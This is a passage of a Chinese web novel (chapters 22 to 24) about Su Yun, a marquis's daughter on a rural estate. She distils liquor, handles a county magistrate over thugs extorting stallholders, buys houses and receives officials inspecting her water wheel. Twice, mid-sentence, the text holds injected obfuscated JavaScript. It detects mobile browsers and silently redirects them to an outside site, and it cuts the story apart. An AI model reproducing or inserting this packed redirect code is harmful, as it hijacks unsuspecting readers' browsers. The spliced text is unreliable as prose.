正是尚书之嫡孙女曹小姐大作。” 众皆皆又是哗然，一个闺阁女子，竟然能与公子们比肩，委实让人赞叹，只是这种闺阁情诗，在如此场合念出，似有不妥。曹小姐也起身，朝众人福礼致谢！ 台上老者继续道：“这最后一首，相信大家期待已久，他的诗名 《边塞报国志》 猎猎旌旗卷朔沙，萧萧风吼走寒鸦。 弯弓欲射天边月，拔剑堪摧塞上笳。 万里烽烟侵甲胄，三更霜雪透征纱。 此生岂负家国志，纵死魂留塞上花。 正是苏琦苏公子！苏公子在哪里？” 又是一阵惊叹，到处都在寻找苏琦苏公子，苏琦赶紧站起来拱手致谢，众人一看十五六岁一少年，长得面如冠玉，更是叫好之声四起。好多家里有待嫁女儿的，都在忙着打听是谁家公子，可否婚配。 三个侍女分别将彩头送给了三位前三甲，三位都向公主谢恩。 公主道：“诸位在这里已呆了一个时辰，想是闷了，可去花园走走，虽只夏初，池塘荷花却开了不少，诸位请随便玩赏。” 经此一战，定阳侯府本来一个没落贵族，霎时就在京中名声显赫起来。都知道侯府家有能写诗的公子，还有会弹琴又知进退的小姐，侯府教养可见一斑，只怕以后侯府要被求亲的人踏破门槛了。侯夫人的贤名进一步被传颂，饶是在外人面前一贯自持，也忍不住眼睛眯成了一条缝。 22. 第 22 章 22、拜见县令 早饭后，苏云叫来阿牛、大壮和李三娘，和王嬷嬷打开作坊的门进去，让娟儿在作坊外守着，不让人打扰。 苏云道：“昨日我说的提纯酒，今日就要将方子交给你们，切记不能透露出半点风声。我先讲一下流程，然后和王嬷嬷做一遍给你们看看。”然后和王嬷嬷把蒸馏过程演示了一遍。又让他们实践，自己和王嬷嬷在旁边指导，技术并不复杂，很快三人就掌握了技巧，能够独立操作了。 苏云丢给他们一句：“这个提炼酒，每坛我们都要检查，如果不合格，就要重做。每做好一坛酒，就给十文奖励。” 阿牛和何大壮一听，满脸欣喜。 苏云叫出了李三娘，毕竟现在只有一套蒸馏工具，两个人足够了，李三娘可以去带孩子。过几天等定制的到位后，再来安排。 苏云到东院去看看何小花，教室里有的在绣花，有的在裁剪纸片，只见何小花正在聚精会神的绣着一张帕子，苏云没有打扰，杨氏看见苏云，两人就到了教室外面谈话。 苏云道：“杨婶子，快到一个月了，她们学的怎么样了？”杨氏道：“人多，所以差别也比较大，好的已经快要出师了，差的绣一张帕子都还吃力。” 苏云道：“这是还得看天赋。不着急，时间到了，就砍掉一些人吧。这些天，如果绣活不是很好的，婶子你看能不能教她们裁剪衣服？这样就算不会绣花，也可以学着做衣服，以后出嫁，也有一点本事傍身。” 杨氏道：“婶子也是这么想的，这两天已经开始教她们了。” 苏云朝里面指了指小花：“这个新来的小花怎么样？” 杨氏道：“这小孩子挺好的。应该是以前学过一点，不过不成章法。跟她讲了一点，她照着做，有模有样的，天分很高，关键是很喜欢刺绣。一直学下去，怕是要把这些女孩子都甩在后面。” 苏云道：“那就费心杨婶子关照了。我在想，等三个月结束了，如果婶子愿意，可以再办一个裁剪班，也培训那些愿意学的庄户女子，让她们有一技傍身。这个等刺绣班结束了再说也行。” 苏云看到宝儿羞答答的看着自己，模样很是可爱，就走过去，一下把他抱起，亲了一下，宝儿咯咯直笑。李三娘道：“宝儿也喜欢小姐呢。”然后对宝儿道：“宝儿去找林二爷玩，外婆去做饭。”宝儿听话朝林二伯房间跑过去。李三娘道：“小姐，我去厨房帮忙了。” 苏云点点头，回到了房间，见没什么事，于是关上门，打起坐来。 也不知过了多久，听到门外一阵喧哗，只见庄头领着两个人进得院子里来，大门外还围了一群人。苏云开门出去看，只见庄头带了两个男子进来，两个男子鼻青脸肿，衣服被撕烂，还一拐一拐的。庄头道：“这是进城卖卤肉的丁家父子，今天去摆摊，被人给打了。”林二伯抱着宝儿，李三娘、阿牛妈，还有几个绣女也都来看热闹。 丁老头扑通一声跪下，哭诉道：“龙女，我们在城里卖卤肉，平日里并不敢得罪谁，都是按律交税。今日一伙地痞，故意找茬，掀了我的摊子，卤货、卤水、锅碗瓢盆撒了一地。我们上去评理，还被他们毒打了一顿。龙女要给我们做主啊！” 苏云道：“你们先起来，坐下好好说。”让娟儿搬了凳子。丁家父子坐下。苏云问：“你们平日里生意怎么样？”丁老头道：“生意倒是挺好的，庄里几户做卤菜吃食的都还可以。每日里总有七八十文净利进账，好的时候能有一百多文。本想着好好做生意，给家里赚点钱，没想到却遇到这种事。” 苏云道：“他们是来收保护费？”丁老头道：“正是，最开始每天也就收十来文，我们怕惹事，也就不敢不给，息事宁人。没想到他们说我们生意好，这些天每天在涨，今天要收五十文，我们父子自然不干，他们就掀摊子动手打人。” 苏云道：“就是这个原因？杀鸡取卵，不应该啊。” 丁老头道：“我想起来了，肯定是他们想要卤肉的方子，我说没有方子，都是龙女给的香料，他们不信。对了，肯定是这个原因。” 苏云道：“那你们告官了没有？”丁老头道：“本想着去告官，谁知衙门口的衙役不准我们进去，这才回来找龙女做主。” 苏云想了想，还是应该出头解决这桩事情，不然以后小商小贩都被打得不敢做生意，那自己的致富大计岂不是泡汤了？ 想着，朝林二伯看过去，只见林二伯微微点头，心里便有了底气，镇定下来。问庄头：“别的庄户也是一样交保护费？”庄头点点头道：“想来也是的。” 苏云道：“丁大伯，明天你还能去卖摆摊吗？”丁老头的儿子道：“去自然是可以的，只是再遇到那帮泼皮，怕是又做不成了。” 苏云道：“没事，我明日跟你们一起进城看看去。你们仍旧摆摊，我就不信，光天化日，就敢行凶打人！” 丁家父子千恩万谢，这才由庄头带着出去了。 苏云道：“大家都散了吧。”然后朝林二伯看过去，林二伯把宝儿交给李三娘，然后走了过来道：“明日可是要在下也去看看？” 苏云道：“正是，明日我先去找县令，你跟随丁家父子，若有人捣乱，悄悄解决了就是。”林二伯笑道：“好久没动手，却用在这些泼皮身上，真是辱没了‘清风一指’的名头。若被江湖人知道，怕是要被人笑掉大牙。”突觉自己说漏了嘴，忙闭口不再言语。 苏云知道“清风一指”应是林二伯的江湖尊号，见林二伯不愿让人知道，也就装作没有听到，只说：“那明日就劳烦林二伯一同进城。” 次日一早，苏云、庄头、王嬷嬷和林二伯坐着牛车进城去了。到了县城，兵分两路，林二伯找到了丁家父子，离他们摊位不远处找个地方坐着，冷眼看着摊位上的情况。 苏云则带着庄头和王嬷嬷朝县衙走去。到了县衙门口，王嬷嬷对门口的衙役道：“定阳侯府嫡小姐求见县老爷，劳烦官爷通禀一下。”说着，递上名刺。衙役一看三人气度不凡，倒也不敢怠慢，道一声：“稍等。”便匆匆进去。 朱县令正在后堂和小妾调笑，只见衙役匆匆来报：“老爷，定阳侯府嫡女求见。”朱县令一惊：“哪里来的侯府嫡女？”衙役赶紧递上名刺。 朱县令看了名刺，一把推开小妾，问道：“人在哪里？”衙役道：“在衙门外候着。”朱县令大怒，一巴掌拍在衙役头上，大骂：“你想害死我啊？赶紧的，带我去。” 县令慌慌张张来到大门口，看见三个人，一个十二三岁的小女孩，一个四十来岁的中年妇人，还有一个脸色黝黑的壮年男子，看起来像庄稼人，朱县令毕竟见多识广，心想应该是这个小女孩了。 苏云见一个五十来岁，穿着县令官服的人出来，便慢慢上前欲行跪拜礼：“小女子见过县令大人。”朱县令哪敢让她跪拜，也赶快回礼：“不敢受小姐大礼，不知小姐大驾光临，有失远迎，还请小姐勿要见怪才好。”苏云趁机不再下跪，只是行了福礼：“冒昧拜见，县令大人拨冗相见，幸甚！” 相互谦虚了一阵后，苏云被让进了后堂坐定，衙役上茶后，朱云让王嬷嬷奉上两瓶提纯酒，道：“小女子初次求见大人，奉上两瓶卧云醉，聊表心意。” 朱县令听得是卧云醉，心里甚是欢喜。这几日整个县城都在传卧云醉的名头，现在黑市上都炒到四十两一瓶了。奈何只能在万红楼买到，县令着人去讨，也只给了两瓶而已。 朱县令道：“不知小姐今日来见下官，可是有事？”苏云道：“实不敢相瞒，五年前有道士说小女子和祖母生辰有些相克，做法化解，还需我们必须及笄前不见面。为了祖母康健，小女子主动到临川县庄子上，一住就是五六年，还有两三年方可回侯府，这些年在临川县，虽未与大人谋面，但无处不受大人庇佑，小女子多谢了。”说罢，起身福了福。县令也赶快还礼。 苏云道：“今日拜见县令大人，是有一事请大人做主。”朱县令道：“小姐请讲。” 苏云道：“是这样的。柳河庄是侯府的产业，庄子田地比较贫瘠，庄户们日子很是清苦。小女子为了帮帮大家，便想出一些法子，让他们除了种田，也做点小营生，不至受冻挨饿。也曾告诫他们，须得遵守律法，该交税务，绝不可少，规规矩矩，不能给县令大人添麻烦。庄户人家，最是老实，也是严格照小女子的话做的。谁曾想，交税之余，却总有泼皮来收保护费，庄户老实，不敢不给。初时收得不多，也就相安无事，不过后来越来越多，甚至比每天的买卖总数还多，庄户就不愿意了，结果被掀了摊子，砸了营生，还被打得满地打滚。” 朱县令道：“竟有此等事情？”转头看向衙役，问道：“你可知此事？”衙役道：“并未听说过。” 苏云道：“大人日理万机，此等小事，不知道也属正常，只是庄户前来衙门告状，却被公差赶走，这事就奇了。” 朱县令奇道：“竟有这等公差？带我下去查看，定要揪出这些害群之马。” 苏云哪里不知道其中的道理，朱县令不过做做表面文章而已。官匪勾结，所收的保护费，只怕大部分都要用来孝敬给这位县太爷。于是道：“常言道，人上一百，形形色色。想是公差大哥并不知道内情，所以没让庄户告状，也怪不得公差大哥。” 朱县令有些奇怪，不好说什么。 “小女子见临川县街市热闹非凡，人来客往，人们安居乐业，心里甚是欣慰，待得小女子回府后，定要与父亲大人多说说。本县的上缴税费肯定可观，这些自然是县令大人吏治清明，治理有方。只是这些税费，都是从农户和这些生意人手中抽取而来，生意人越多，抽取越多。虽说他们的摊子盈利不多，一则可以满足人们需要，再则可以交税，当然也可满足他们自己的温饱。一个虽不多，但是摊子多了，税费自然有就上去了。若是动辄就被掀摊子，摊主被断了生计，官府也收不到税，几头都不讨好。砸了一个无所谓，但是砸得多了，税费减少，影响可就大了。最怕的是，当今圣上爱民如子，若是此事被朝廷言官所知，参上一本，必定以为县令大人不体恤民生，若是将县令大人治罪，那就得不偿失了。” 朱县令心里对苏云扣下的大帽子有些不屑，嘴里却道：“小姐说的是。” 苏云道：“幼时也听过家父说过一句话，水至清则无鱼。临川县这么大，有几个不听话的泼皮实属正常，哪个地又没有几个泼皮呢？只是凡事得有个度，若是让人活不下去的话，造成民变可就不好收拾了，怎么着都要压一压他们才是，免得坏了县令大人的清誉。” 苏云的意思很明白，泼皮收一点，只要不过分，我们也不用管，但是让人没法做下去，那就不行。 苏云继续道：“泼皮们不清楚细水长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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苏云这次见到朱县令，先是送酒取得好感，然后说出自己的人被泼皮欺压，要县令做主，暗示知道县令和泼皮有染，却把所有的锅都扣在泼皮身上，给足县令面子。再明说所有的秘方都在自己手里，想要秘方，就放胆来找自己。最后说要给父亲写信，画了一个大饼，这是官场最看重的，果然，朱县令上钩，保证以后庄户们的利益不会受损，这次拜访就此圆满结束。 出得衙门，苏云对庄头道：“我们看看丁老头的摊子去。”于是庄头带着二人去找丁老头，才到市场，就见七、八泼皮倒在地上哭爹叫娘。不远处摊子旁，丁老头和儿子也怔怔的看着地上打滚的泼皮，不知所措。 原来，林二伯刚到不久，就见七八个泼皮拿着棍棒，气势汹汹来道丁家的摊子上，丁家父子吓得瑟瑟发抖。一领头泼皮道：“老杂毛，不给方子，还敢再来摆摊，我看你们是活得不耐烦了。”丁老头道：“各位大爷，小老儿的确没有方子啊。”拿起勺子在锅里舀出一个布包，道：“大爷你看，每次都是从龙女手上拿的香料包，里面都是粉，小老儿也不知里面是什么啊。” 那泼皮面露凶相，厉声喝道：“我看你老杂毛是敬酒不吃吃罚酒，不交方子，就不准在这里摆摊。”丁老头忙道：“好、好，小老儿这就收摊回家。”泼皮道：“这就想走？今天的一百文交了才能走。”丁老头哭道：“今日才刚来，哪有一百文给你啊？”泼皮冷笑道：“没有银子，那就把这些卤货留下吧。” 丁老头哭叫：“大爷行行好，饶了小老儿吧。这个生意成本高，都是借钱来弄的，我们赔不起啊。” 泼皮道：“老杂毛，既然不识抬举，那就怪不得我了。兄弟们，给我砸！”说着举起棍子就要砸下去，突然脚下一痛，一下倒在地上，后面的泼皮正朝前冲，不注意被绊倒，也扑倒在地上，棍子飞出去老远。 后面一个泼皮觉得大腿像是被针刺了一下，疼痛难忍，也倒在前面的泼皮身上。在后面的泼皮，不是腿部痛，就是腿部和腰都痛，纷纷倒地挣扎，口中哀嚎，乱作一团。 丁家父子和围观的百姓都看呆了，完全不知道怎么回事。 苏云一行正好走过来，看到的就是这一幕。 苏云暗道：“林二伯真是好手段，清风一指杀人无形。”于是挺身而出，大声道：“这群泼皮无赖鱼肉百姓，真是天怒人怨，活该遭此天谴！乡亲们，一起抓他们去见官！” 市场摊贩们没有不受他们盘剥的，看到他们的下场，自是十分兴奋，但要让他们抓人送官，却没有一个敢出头的。苏云正踌躇间，只见一群衙役赶来，领头的大声道：“谁敢在此闹事？”众人纷纷让开。 领头的衙役是杨捕头，看着地上挣扎的泼皮，大声道：“牛二，又是你闹事。弟兄们，把他们绑了，抓到衙门去。”众衙役上前拿人，地上的人却恍若未闻，只顾挣扎嚎叫，衙役竟没法按住，正在混作一团时，地上的泼皮好像又受到针刺，突然就不痛了，瘫软在地。衙役趁机涌上，把人捆绑拿住。泼皮看看刚才痛的地方，却一点伤痕都没有，好生奇怪。 杨捕头大声道：“各位，奉县令大人之命，巡视市场，以后有人再敢闹事，就来报官，直接拿人！”众人纷纷赞道：“感谢县令青天大老爷！”“真是父母官啊！”“县太爷为民做主，长命百岁。” 衙役们在大家的赞美声中，押着泼皮趾高气扬地扬长而去。 众人散去，市场很快恢复了秩序，吆喝之声此起彼伏，一派热闹景象。苏云走到丁老头摊前，安抚了几句，让庄头留下来照看一下，就带着王嬷嬷和林二伯匆匆走了。 23. 第 23 章 23、再次购房 苏云前日给黎大为安排的事情太多，不知进行到哪一步，想去看看，又无从找黎大为，于是决定先去院子看看再说。 于是带着两人朝院子走去。路过一个茶摊的时候，听到有人提到了卧云醉。苏云顿下脚步，闻声望去，只见两个读书人模样的茶客，正在高谈阔论。一人道：“说真心的，昨晚去万花楼，也不是去看曼云那骚蹄子，就是想去品一下那个卧云醉。”另一人道：“万红楼的娘们个个水灵，能让人把魂都勾走，好不容易去一趟万红楼，不找姑娘，光想着喝酒，这不是傻吗？要喝酒，哪里找不到酒喝？” 第一人道：“你还别说，这卧云醉，你在别处还真喝不到。据说这酒，产自千里之外，而且数量有限得紧，一年也产不出多少。本是要送到京城售卖的，没想到半路出了岔子，被万红楼的老鸨给吃下了。想喝就得去万红楼，别的地，你可还真喝不着。” 另一人道：“什么样的好酒，难道喝了要成仙不成？酒水是有好坏之分，但也不至于到这个地步吧？”只见第一人从怀里掏出一个小瓷瓶，扒开瓶塞，递到另一人鼻下：“你闻闻。”拿人使劲嗅了嗅，道：“确实挺香的。这就是卧云醉？” 第一人小声道：“我也就只敢要了三杯，趁着曼云不注意，倒了一杯在这个小瓶里，悄悄带出来的。”另一人突然夺下小酒瓶，一口就喝了下去，第一人大惊，想来抢，却也迟了。 第一人无可奈何，摇摇头道：“你可真是的。”另一人咂咂嘴，回味了一下，道：“确实是好酒，醇香甘甜，回味绵长。别的酒和它一比，好不寡淡。”第一人道：“可不是嘛，万红楼可是按杯来卖的，想喝此酒的海了去了，你看这几天，万红楼的客人都翻倍了。” 苏云不想再听下去了，继续朝院子走去。刚到门前，见院子大门开着，以为黎大为在里面，心中一喜，正要进门，却见一个婆子站在门内，看着三人，问道：“贵人要找何人，可是有事？” 王嬷嬷上前道：“这是院子主人，你是谁，怎么会在这里？”婆子一听，打量着苏云，道：“可是柳河庄的侯府小姐？”王嬷嬷道：“正是。” 那婆子赶紧跪下：“不知小姐到了，未曾远迎，小姐莫怪。”苏云大概知道怎么回事了，淡淡道：“不必多礼，起来吧。我们进去再说。” 婆子赶紧将三人让进去。苏云进院子打量，只见除了婆子，还要三四个人，两个青年男子，模样憨厚，一个年轻妇人，长相普通，一副聪明能干的样子，还有一个五六岁的男孩。 婆子招呼其他人：“快都过来，拜见主人。”只见他们都放下手里的伙计，走过来跪下，苏云道：“都起来吧，起来说话。”众人起来。 婆子逐个介绍道：“我们是一家人。这个是我家老大张大鹏，这是她媳妇余氏，小孙子是他们的儿子张良；这是二儿子张二鹏，还未曾婚配。老婆子杨氏，是他们的母亲。” 苏云有些伤感，好好的一家人，怎的都卖身为奴了。 老婆子杨氏道：“唉，那年大儿子到镇上打工，结果帮主家搬家时不小心摔坏了一个箱子，里面的一对玉瓶摔坏了。我们家哪里赔得起？卖田卖屋都扛不住，老头子一气之下病倒，又借了高利贷治病，更是雪上加霜，最终也没有留住老头子。最后一家人自愿卖身为奴，算是都还清了。” 说到这里，大家眼里都有些湿润。 苏云道：“你们能卖身还债，可见是敦厚之人。事情既已如此，也不用太难过，至少现在大家都还在一起。只要以后用心干活，不要动那些要不得的心思，我保证，不会把你们家拆散的，你们就安心在这里住着吧。” 一家子大喜，又跪下道：“谢谢小姐！” 苏云是现代人思想，见不得下跪，道：“快起来，以后不要动不动就下跪，着实不喜欢。黎大为呢？” 杨氏道：“黎公子一早就带着平哥出去了，怕是中午都不回来了。” 苏云道：“平哥？”杨氏道：“也是黎公子一起买下的，十四岁，伶俐着呢。黎公子就把他带在身边。” 苏云没做声，走到水井旁，朝里面看去，里面黑乎乎的，看不清楚。杨氏道：“这口井出水挺多的，水也不错，凉凉的，还有点甜。” 又朝内院走去，只见里面都已经打扫干净，有一间房布置得还有些华丽，旁边还有一间，也布置好了，只是要朴素些。心想黎大为真会做事，还为自己留了一间房，以后有事回不去，就可以暂时留在城里。 苏云看了看布局，思考了一下，这里以后要用作制冰作坊，虽然稍小，不过认真布局，应该还能对付。想妥当之后，对杨氏道：“这样甚好，你这就让大鹏去买十口装水的大缸回来，就依次排在这边屋檐下。” 杨氏有点懵：“院子里没几口人，十口大缸，会不会太多？” 苏云道：“照做就是，我有用处的。”王嬷嬷给了钱。杨氏赶紧出去找儿子去了。 苏云忙了一上午，有些困了，对王嬷嬷道：“我且进屋休息，你别让人打扰。”说着进屋，关上门，对周围的陈设还比较满意，见桌上放了十余个木盒子，仔细一看，原来是自己让黎大为去定制的酒盒。做工精巧，看着让人爱不释手。当下也不再理会，坐到床上，开始打起坐来。 过了许久，打坐完毕，打开门，只见王嬷嬷还在门口侍立，角落里已经整齐的摆了十口大缸，摆成了两排，每列中间有点距离，应是方便人取水。 杨氏走过来，道：“小姐，午饭做好了，小姐可要在这里用饭？” 苏云道：“甚好，就在这里用饭了。” 杨氏和儿媳妇端着饭菜进来，来回跑了好几趟，菜色看起来不错，苏云尝了尝，道：“味道不错，是你做的？”杨氏道：“是老身做的，都是乡下人的吃食，不知小姐是否吃得惯？” 苏云道：“不错的，我挺喜欢。以后就你做饭吧。”杨氏喜道：“小姐喜欢，那就太好了。” 苏云道：“饭后，你让大鹏两口子出去买一些果脯回来，还有糖霜，果脯不拘品种，都买一些，主要是必须要甜，糖霜可以多买一些备着。果脯买回来后，要切成小颗粒不同果脯分开装在罐子里面，以后会用。另外，再去打听一下，哪里有牛奶或者羊奶售卖？价格怎么样，每天能卖多少？今天不买，但是要先打听清楚。另外，饭后，你让二鹏把里面的水缸装满，这个不着急，慢慢弄。”杨氏一一应下。 下午，苏云想出去转转，就带着王嬷嬷和林二伯上街了，也没什么目的，到处转转，希望能碰到黎大为。 兜兜转转，不觉到了伢行，只见上次那个小伙计吴三保正站在门口，看到苏云过来，忙满脸堆笑行礼：“小姐又来了？这次可要买院子？今日有不错的房源，要不看看？” 王嬷嬷笑骂：“你这猴崽子，又来诓骗我家小姐。院子岂是说买就买的？你怕是想银子想疯了吧？”小伙计吴三保忙作揖笑道：“嬷嬷就爱开玩笑。”看到林二伯，有些诧异，不过也没说什么。 苏云想了想，心想把制冰和制酒的作坊分开，也未尝不可。于是问到：“真有好的院子？”小伙计其实也只是打个招呼，没想到苏云真有这个意思，忙欢喜道：“有的，有的。附近就有两家呢。” 忙进去交代了一下，就喜滋滋带着三人看房去了。 苏云看了两个院子，都是两进，一个比较大，一个则小一些，都还比较满意，离的也比较近，于是问吴三保的价格。 小伙计道：“都是老熟人，自不会让小姐吃亏的。若是有心要，价格好商量。” 苏云道：“若是两个院子都要呢？”小伙子大喜：“果真，那价格更好说了。”于是叫来房主，几番讨价还价，吴三保也帮着苏云砍价，最终拿下了两套院子。 很快去了衙门，主簿认识苏云，因此手续办得很快。当然王嬷嬷也没忘记塞银子。 从衙门出来，王嬷嬷有些不解，道：“小姐，我们买这么多院子做什么？” 苏云道：“以后自然用得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205753|197331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着。再说临川县离京城城很近，一日可达，房价只会上涨，就算什么都不做。单纯是投资，日后卖掉也会不亏。” 王嬷嬷道：“只是大为上次赚的银子，又所剩不多了。”苏云道：“不必担忧，自然会有银子送上门来的。” “今日是定制的酒瓶交货的日子，我们赶紧去城门口，指不定还能遇着大为。”于是，三人又急急朝城门走去。出得城门不久，果见黎大为领着一个十四五岁的少年，坐着两辆牛车缓缓而来。 看到苏云也在门口，黎大为赶紧跳下车来，行礼道：“在下见过小姐，小姐怎么亲自进城了？”苏云道：“办了一些事，回头再细说。你这是去接瓷瓶？”黎大为道：“正是，这里转过弯不远就到了。” 苏云道：“我们也看看去。”黎大为跟车夫说了声，然后大家都上了牛车，苏云打量那个叫平哥的少年，也是眉清目秀、皮肤白皙，虽赶不上黎大为，却也相差无几。 黎大为赶紧介绍：“小姐，这是陆平，我们都叫他平哥儿，也是昨日刚买的，我见他伶俐，就让他先跟着我跑跑。另外还有一家人，我放到院子里了。” 苏云道：“已经见过了，你做得不错！” 陆平想站起来行礼，牛车摇摇晃晃，却起身不得，只得作揖道：“小的陆平见过小姐。车上礼数不周，还望谅解。” 苏云道：“无妨，无需那些虚礼，日后你就好好跟着大为，尽心做事。” 路平道：“一切听小姐吩咐。” 说着，牛车拐过弯，不远处有一片竹林，黎大为道：“就在竹林处交接。” 到了竹林处，众人下车，陆平重新上前行礼，黎大为都做了介绍。 路上人来人往，倒是很热闹。大家正闲谈着，只见远处缓缓来了两辆牛车，牛车上好多框子，装得满满的。 黎大为见了，道：“小姐，他们到了。”于是卸货、检验、付款，又重新装车，折腾了小半个时辰。 苏云将一张图纸递给杨家村车夫道：“回去跟你家老板说，按照这个图，蓝色和红色各做一千个，后日送过来可行？”说着，递过图纸给他，那人收了，道：“自是没有问题，只是瓷器不一样，这价格我不敢做主的。”苏云道：“如果起伏不大，可以直接做，如果相差太大，那就算了。” 交代完毕，众人就往回走。这一次牛车全部装满了货，众人只好步行跟着，进城之后，王嬷嬷让车夫换了一个方向，黎大为不解，苏云道：“我又买了新宅子，这个就以后就运到新的这边。”然后对林二伯道：“林二伯，劳你去看看旧宅里面大鹏二鹏他们在不在，在的话，让他们到新宅来搬一下酒瓶。”林二伯去了。 不久，牛车到了新宅，于是两个车夫又开始卸货，搬进后院，不一会儿，大鹏二鹏也来了，人多，两兄弟又是干惯苦力的，没用多久，就搬完了。 苏云问道：“果脯和糖霜都买了？”大鹏道：“都买了。”王嬷嬷就和大鹏去一边结算。 苏云让黎大为跟平哥住进了后院，谈了这两日的事情，定制的蒸馏器具今天可以交付，还有制冰的器具，因为量比较大，种类也比较多，所以还得等一等。 苏云道：“这样吧，城里的事情你还接着做，我今日先回柳河庄，我们先去把蒸馏器具带回去，再去酒铺买些酒。过几日我送两车蒸馏酒过来，你灌装后再卖给万红楼，或者饭庄也行，总之你要卖完，不少于二十五两一瓶。对了，你去做十块木牌，腰牌大小，雕花你看着弄，主要要刻上柳河庄三个字，从一到十，每块牌子上刻一个数字。还有，还要制作这个棍子。”又拿出一张图纸， 于是取了蒸馏器具，看了定制的制冰用具，有些已经完成，苏云看看，还比较满意，于是又去了酒铺，买了几大坛子酒，让店家一起送到柳河庄。 在城门口，只见一大队人马跟随几辆马车朝城门走来，好像是什么官差，沿途的人纷纷避让。苏云坐的牛车也赶紧让到了路边。 好一阵子才走完，恢复了秩序。 24. 第 24 章 24、工部勘查水车 次日一早，苏云又起来打坐，运用内息，这两日丹田能聚集的内息越来越多，而且用意念调动起来的内息也越来越多，感到到十分欣喜。想起林二伯的“清风一指”，更是莫名向往。看到那天在市场上制服小混混，想来这“清风一指”应该和金庸小说里的“六脉神剑”大致相同。这种功夫用来自保，真是太有用了，也很好玩。当然，她也知道急不来，林二伯也不知用了多少年才有了现在的成就，何况林二伯愿不愿意教授还要另说。慢慢来吧，循序渐进就好。 早饭后，苏云指导阿牛和大壮将蒸馏的器皿安装好，并交代不同品种的酒要分开装。一小坛酒十文，两人干劲十足。总共四台，分成两间屋，李三娘也负责了一台，稍慢些，阿牛和大壮越来越娴熟，可以各自负责一台，一天一个人就能蒸馏出五六坛。还有一台蒸馏器没有用上，苏云也不好叫林二伯，就暂时放在那里。 又去看了看何小花，她的刺绣水准肉眼可见的提高，这些日子，小女生心情好，伙食好，脸上也开始有点肉了，看起来越发水灵，据说庄上已经有人家在打听她的情况，只怕不久就会有媒人上门。苏云心里也十分欣慰，又逗了逗宝儿，和林二伯谈了一会儿，再和阿牛娘聊了几句，就回到房间，教娟儿和莺儿识字弹琴，倒也畅快。 突然，院子外面一阵嘈杂之声，只见一个庄户跌跌撞撞跑来，急促道：“龙女，京城来人了，庄头让你赶快去迎接。”苏云有些吃惊，难道侯府派人来了？不太像，侯府这么大的阵仗，莫不是侯爷亲自来了。想到这里，草草让娟儿换了一身衣服，带着王嬷嬷和娟儿赶紧出门。才走不远，只见一群人正围在水车那边指指点点，有穿着官服的，县令也在，也有些随从模样的，庄头也在那里，好像在介绍者什么。 苏云上前，庄头忙向的官员介绍：“大人，这就是我们庄上的侯府嫡女苏云小姐。” 领头的官员转过脸来，见是一个十二三岁的小姑娘，没想到侯府小姐如此年幼，正有点愣怔，苏云赶紧上前行礼道：“定阳侯府苏云拜见大人。”朱县令也赶紧过来，介绍道：“苏小姐，这是工部侍郎周大人。” 周侍郎这才反应过来，平日和礼部的定阳侯爷并无多少交集，亦无恩怨，在官场谁也不愿轻易开罪人。见对方虽然年幼，毕竟是侯府嫡女，虽无官身，也不敢轻易得罪，也赶紧拱手还礼道：“原来是侯府苏小姐。前日侯爷上书皇上，言爱女发明了一种实用的灌溉工具水车，皇上欣喜异常，立刻命工部前来勘查。我等奉皇命来柳河庄，还请苏小姐多多指教才是。” 苏云忙道：“大人言重，愧不敢当。周大人匆匆而来，不顾鞍马劳顿，就赶到柳河庄勘察水车，可见大人上不负皇恩，下心系黎民，朝廷有大人这般勤勉的好官，真是朝廷之福，万民之福。” 这通彩虹屁，拍得周大人心情愉悦，越发不敢小看这个小姑娘，于是道：“苏小姐谬赞了。” 苏云道：“周大人请继续勘查，若有疑问，侄女随时在侧。” 一句侄女，瞬间就拉进了和周侍郎的关系，周侍郎和侯爷同朝为官，说一声侄女，自不为过，只是苏云主动说出来，效果又是不一样。朱县令也在旁边道：“苏小姐蕙质兰心，真不同凡人也。” 苏云脸上带笑，微微行礼，退在了一旁，不再说话。 周大人转过身，又开始安排人测量水车的高度，竹筒桶的数量，安装的角度等等，然后再顺着水渠查看，看河水流进农田，多余的又重新流进柳河，整个工程看起来的确很是实用，能节省不少劳力。 期间，苏云悄悄跟王嬷嬷说了几句，王嬷嬷便悄没声走了，不久又返回来，手上还挎了一个新的竹篮，竹篮上盖着一块锦布。 一直忙碌了大半上午，眼看勘查结束，周大人和随从们商讨了一阵后，神色郑重向苏云拱手施礼道：“经过勘察，此水车和水渠对于农田灌溉确实极为实用，若是推广开来，只怕万千黎民都要收益，说一句功在千秋都不为过的。苏小姐此番立了大功劳了！”周侍郎身在工部，对水车的优势自是发自内心，相当赞叹，对苏云也真心尊重了几分。 苏云赶忙还礼道：“大人谬赞，侄女不过随手之举，竟劳圣上和大人如此看重，实在是受之有愧。” 周大人转头对朱县令道：“苏小姐在你的地盘上，你可得好生照顾，切不可让苏小姐受半点委屈才是。” 朱县令庆幸昨日还算和苏云详谈融洽。如果水车上报朝廷，柳河庄在自己治下，自己自然也有几分功劳，若得侯爷和周大人美言几句，说不定哪日就能飞黄腾达了。闻言忙道：“这个自然，下官必定不敢让苏小姐受到半点委屈。” 苏云也不失时机奉上几句好话：“昨日才见过县令大人，多亏了县令大人不嫌麻烦，为侄女解决了一桩难事，侄女正感激不尽呢。大人回京，若遇家父，也请转告，朱县令治理临川，商贸繁荣，平民安居乐业，实朝廷大功臣。” 周大人看了一眼朱县令，心想不知何事，竟令小姑娘如此为他说好话。只是含糊道：“定当转达！”又对朱县令道：“此间事情已了，我们这就回去吧。” 